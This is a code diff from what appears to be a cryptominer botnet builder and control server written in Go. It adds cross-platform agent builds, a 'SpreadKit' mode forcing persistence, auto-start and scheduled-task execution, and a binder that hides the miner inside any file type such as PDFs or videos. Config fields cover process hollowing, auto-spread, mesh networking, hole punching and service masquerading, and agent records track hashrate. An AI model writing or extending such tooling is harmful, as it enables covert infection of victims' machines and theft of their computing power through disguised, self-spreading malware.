if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
|
||||
arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
|
||||
}
|
||||
subdir := fusionExportSubdir(req, exportLabel)
|
||||
readme := fusionReadmeInfo{
|
||||
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
|
||||
@@ -567,6 +558,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
|
||||
}
|
||||
|
||||
// Normalise platform tag for easy lookup by /get endpoint
|
||||
recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||||
if recordPlatform == "" {
|
||||
recordPlatform = "windows"
|
||||
}
|
||||
|
||||
buildRecord := &models.BuildRecord{
|
||||
ID: buildID,
|
||||
WorkerName: req.WorkerName,
|
||||
@@ -574,7 +571,9 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
Wallet: req.Wallet,
|
||||
Threads: req.Threads,
|
||||
FileSize: fileInfo.Size(),
|
||||
BundleSize: bundleSize,
|
||||
FilePath: absPath,
|
||||
Platform: recordPlatform,
|
||||
CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost,
|
||||
PoolPort: req.PoolPort,
|
||||
@@ -789,6 +788,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
req.AIModel = "llama3.2"
|
||||
}
|
||||
}
|
||||
if strings.TrimSpace(req.TargetOS) == "" {
|
||||
req.TargetOS = "windows"
|
||||
}
|
||||
if req.SpreadKit {
|
||||
req.FusionEnabled = false
|
||||
req.TargetOS = "universal"
|
||||
if req.RunAs == "" || req.RunAs == "user" {
|
||||
req.RunAs = "scheduled"
|
||||
}
|
||||
req.Persistence = true
|
||||
req.AutoStart = true
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -807,7 +818,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
||||
}
|
||||
if !isFusionPayloadExt(baseName) {
|
||||
return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
|
||||
return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
|
||||
}
|
||||
|
||||
prepRoot := filepath.Join(h.dataDir, "preps")
|
||||
@@ -842,13 +853,11 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
return dest, cleanup, nil
|
||||
}
|
||||
|
||||
// isFusionPayloadExt accepts any file with a non-empty extension.
|
||||
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
|
||||
func isFusionPayloadExt(name string) bool {
|
||||
switch strings.ToLower(filepath.Ext(name)) {
|
||||
case ".exe", ".mp4", ".mkv", ".mov":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(name))
|
||||
return ext != "" && ext != "."
|
||||
}
|
||||
|
||||
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
||||
@@ -864,7 +873,6 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
return BuiltinConfig{
|
||||
WorkerName: %q,
|
||||
ServerURL: %q,
|
||||
BackupServerURLs: %s,
|
||||
Wallet: %q,
|
||||
Threads: %d,
|
||||
ThreadMode: %q,
|
||||
@@ -903,6 +911,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ProcessHollowing: %v,
|
||||
MeshP2P: %v,
|
||||
AutoSpread: %v,
|
||||
HolePunch: %v,
|
||||
RemoteAggressive: %v,
|
||||
BackupServerURLs: %s,
|
||||
ServiceMasquerade: %v,
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
@@ -911,7 +922,6 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
req.WorkerName,
|
||||
req.ServerURL,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
req.Wallet,
|
||||
req.Threads,
|
||||
req.ThreadMode,
|
||||
@@ -950,6 +960,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.ProcessHollowing,
|
||||
req.MeshP2P,
|
||||
req.AutoSpread,
|
||||
req.HolePunch,
|
||||
req.RemoteAggressive,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
serviceMasqueradeEnabled(req),
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
|
||||
75
server/internal/builder/platform.go
Normal file
75
server/internal/builder/platform.go
Normal file
@@ -0,0 +1,75 @@
|
||||
package builder
|
||||
|
||||
import "strings"
|
||||
|
||||
// BuildPlatform identifies a GOOS/GOARCH compile target.
|
||||
type BuildPlatform struct {
|
||||
GOOS string
|
||||
GOARCH string
|
||||
Ext string
|
||||
}
|
||||
|
||||
func (p BuildPlatform) Label() string {
|
||||
return p.GOOS + "-" + p.GOARCH
|
||||
}
|
||||
|
||||
func (p BuildPlatform) BinDir() string {
|
||||
return "bin/" + p.Label()
|
||||
}
|
||||
|
||||
var defaultPlatforms = []BuildPlatform{
|
||||
{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"},
|
||||
{GOOS: "linux", GOARCH: "amd64", Ext: ""},
|
||||
{GOOS: "linux", GOARCH: "arm64", Ext: ""},
|
||||
{GOOS: "darwin", GOARCH: "arm64", Ext: ""},
|
||||
{GOOS: "darwin", GOARCH: "amd64", Ext: ""},
|
||||
}
|
||||
|
||||
func platformsForRequest(req *BuildRequest) []BuildPlatform {
|
||||
target := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||||
if target == "" || target == "windows" {
|
||||
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
|
||||
}
|
||||
if target == "linux" {
|
||||
arch := req.TargetArch
|
||||
if arch == "" {
|
||||
arch = "amd64"
|
||||
}
|
||||
return []BuildPlatform{{GOOS: "linux", GOARCH: arch, Ext: ""}}
|
||||
}
|
||||
if target == "darwin" {
|
||||
arch := req.TargetArch
|
||||
if arch == "" {
|
||||
arch = "arm64"
|
||||
}
|
||||
return []BuildPlatform{{GOOS: "darwin", GOARCH: arch, Ext: ""}}
|
||||
}
|
||||
if target == "universal" {
|
||||
if req.TargetArch != "" && req.TargetArch != "all" {
|
||||
for _, p := range defaultPlatforms {
|
||||
if p.GOARCH == req.TargetArch {
|
||||
return []BuildPlatform{p}
|
||||
}
|
||||
}
|
||||
}
|
||||
return append([]BuildPlatform{}, defaultPlatforms...)
|
||||
}
|
||||
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
|
||||
}
|
||||
|
||||
func workerFileName(worker string, p BuildPlatform, fusion bool) string {
|
||||
base := sanitizeFileName(worker)
|
||||
if fusion {
|
||||
return "worker-" + base + p.Ext
|
||||
}
|
||||
return "install-" + base + p.Ext
|
||||
}
|
||||
|
||||
func ldflagsFor(req *BuildRequest, p BuildPlatform) string {
|
||||
ldflags := "-s -w"
|
||||
gui := req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled
|
||||
if p.GOOS == "windows" && gui {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
return ldflags
|
||||
}
|
||||
77
server/internal/builder/platform_test.go
Normal file
77
server/internal/builder/platform_test.go
Normal file
@@ -0,0 +1,77 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"go/parser"
|
||||
"go/token"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestPlatformsForRequestWindowsDefault(t *testing.T) {
|
||||
req := &BuildRequest{TargetOS: ""}
|
||||
ps := platformsForRequest(req)
|
||||
if len(ps) != 1 || ps[0].GOOS != "windows" {
|
||||
t.Fatalf("expected single windows platform, got %+v", ps)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlatformsForRequestLinux(t *testing.T) {
|
||||
req := &BuildRequest{TargetOS: "linux", TargetArch: "arm64"}
|
||||
ps := platformsForRequest(req)
|
||||
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
|
||||
t.Fatalf("expected linux/arm64, got %+v", ps)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlatformsForRequestUniversal(t *testing.T) {
|
||||
req := &BuildRequest{TargetOS: "universal"}
|
||||
ps := platformsForRequest(req)
|
||||
if len(ps) != len(defaultPlatforms) {
|
||||
t.Fatalf("expected %d platforms, got %d", len(defaultPlatforms), len(ps))
|
||||
}
|
||||
if len(ps) < 5 {
|
||||
t.Fatalf("expected at least 5 universal platforms including linux-arm64, got %d", len(ps))
|
||||
}
|
||||
}
|
||||
|
||||
// TestGenerateBuiltinConfigValid checks that the generated Go source for builtin.go
|
||||
// is syntactically valid, catching any mismatch between the template and BuiltinConfig.
|
||||
func TestGenerateBuiltinConfigValid(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
WorkerName: "test",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "4TEST",
|
||||
Threads: 4,
|
||||
ThreadMode: "percent",
|
||||
ThreadPercent: 75,
|
||||
PoolHost: "pool.supportxmr.com",
|
||||
PoolPort: 3333,
|
||||
PoolPass: "x",
|
||||
RunAs: "scheduled",
|
||||
InstallBase: "localappdata",
|
||||
}
|
||||
src := h.generateBuiltinConfig("test-build-id", req)
|
||||
fset := token.NewFileSet()
|
||||
if _, err := parser.ParseFile(fset, "builtin.go", src, 0); err != nil {
|
||||
t.Fatalf("generateBuiltinConfig produced invalid Go source: %v\n\n%s", err, src)
|
||||
}
|
||||
if !strings.Contains(src, "ServiceMasquerade") {
|
||||
t.Error("expected ServiceMasquerade field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "BackupServerURLs") {
|
||||
t.Error("expected BackupServerURLs field in generated config")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLdflagsForWindowsGUI(t *testing.T) {
|
||||
req := &BuildRequest{StealthMode: true}
|
||||
ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
if !strings.Contains(ld, "windowsgui") {
|
||||
t.Fatalf("expected windowsgui in ldflags, got %q", ld)
|
||||
}
|
||||
ldLinux := ldflagsFor(req, BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""})
|
||||
if strings.Contains(ldLinux, "windowsgui") {
|
||||
t.Fatalf("linux ldflags must not include windowsgui: %q", ldLinux)
|
||||
}
|
||||
}
|
||||
@@ -38,7 +38,7 @@ func (d *Database) scanAgent(row interface {
|
||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -50,7 +50,7 @@ func (d *Database) scanAgent(row interface {
|
||||
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags`
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
@@ -111,8 +111,13 @@ func (d *Database) migrate() error {
|
||||
|
||||
// Best-effort schema upgrades for existing databases.
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -120,8 +125,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP))
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet = excluded.wallet,
|
||||
@@ -130,8 +135,11 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
status = excluded.status,
|
||||
cpu_cores = excluded.cpu_cores,
|
||||
memory_gb = excluded.memory_gb,
|
||||
last_seen = excluded.last_seen`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID)
|
||||
last_seen = excluded.last_seen,
|
||||
platform = excluded.platform,
|
||||
arch = excluded.arch,
|
||||
os_version = excluded.os_version`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -241,17 +249,41 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
||||
|
||||
// Build operations
|
||||
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
|
||||
|
||||
func scanBuild(row interface {
|
||||
Scan(...any) error
|
||||
}) (*models.BuildRecord, error) {
|
||||
b := &models.BuildRecord{}
|
||||
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
||||
&b.FilePath, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
|
||||
return b, err
|
||||
}
|
||||
|
||||
func (d *Database) InsertBuild(b *models.BuildRecord) error {
|
||||
_, err := d.Exec("INSERT INTO builds (id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
|
||||
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.FilePath, b.CreatedAt,
|
||||
_, err := d.Exec(`INSERT INTO builds
|
||||
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
|
||||
b.FilePath, b.Platform, b.CreatedAt,
|
||||
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
|
||||
b := &models.BuildRecord{}
|
||||
err := d.QueryRow(`SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds WHERE id = ?`, id).
|
||||
Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
|
||||
return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id))
|
||||
}
|
||||
|
||||
func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) {
|
||||
var query string
|
||||
var args []any
|
||||
if platform == "" || platform == "any" {
|
||||
query = `SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`
|
||||
} else {
|
||||
query = `SELECT ` + buildSelectCols + ` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`
|
||||
args = []any{platform}
|
||||
}
|
||||
b, err := scanBuild(d.QueryRow(query, args...))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -259,8 +291,7 @@ func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
|
||||
}
|
||||
|
||||
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
||||
query := `SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds ORDER BY created_at DESC LIMIT ?`
|
||||
rows, err := d.Query(query, limit)
|
||||
rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -268,9 +299,8 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
||||
|
||||
var builds []*models.BuildRecord
|
||||
for rows.Next() {
|
||||
b := &models.BuildRecord{}
|
||||
if err := rows.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt,
|
||||
&b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass); err != nil {
|
||||
b, err := scanBuild(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
builds = append(builds, b)
|
||||
|
||||
@@ -27,6 +27,22 @@ type Agent struct {
|
||||
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
|
||||
Platform string `json:"platform,omitempty"`
|
||||
Arch string `json:"arch,omitempty"`
|
||||
OSVersion string `json:"os_version,omitempty"`
|
||||
|
||||
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
||||
}
|
||||
|
||||
// AgentCapabilities reports forge-time features available for remote command.
|
||||
type AgentCapabilities struct {
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
}
|
||||
|
||||
type Share struct {
|
||||
@@ -65,7 +81,9 @@ type BuildRecord struct {
|
||||
Wallet string `json:"wallet"`
|
||||
Threads int `json:"threads"`
|
||||
FileSize int64 `json:"file_size"`
|
||||
BundleSize int64 `json:"bundle_size"`
|
||||
FilePath string `json:"file_path"`
|
||||
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
// Pool settings
|
||||
PoolHost string `json:"pool_host"`
|
||||
|
||||
@@ -498,12 +498,16 @@ func (p *Proxy) parseAndSetJob(data json.RawMessage) {
|
||||
}
|
||||
|
||||
func (p *Proxy) subscribe() {
|
||||
p.mu.Lock()
|
||||
p.requestID++
|
||||
subID := p.requestID
|
||||
p.mu.Unlock()
|
||||
|
||||
subParams := []string{}
|
||||
paramsData, _ := json.Marshal(subParams)
|
||||
|
||||
subReq := StratumRequest{
|
||||
ID: p.requestID,
|
||||
ID: subID,
|
||||
Method: "subscribe",
|
||||
Params: paramsData,
|
||||
}
|
||||
@@ -542,8 +546,11 @@ func (p *Proxy) submitShareToPool(share *PendingShare) {
|
||||
return
|
||||
}
|
||||
|
||||
// Increment and read requestID under the write lock to avoid data race (H17)
|
||||
p.mu.Lock()
|
||||
p.requestID++
|
||||
reqID := p.requestID
|
||||
p.mu.Unlock()
|
||||
|
||||
wallet := share.Wallet
|
||||
if wallet == "" {
|
||||
|
||||
Reference in New Issue
Block a user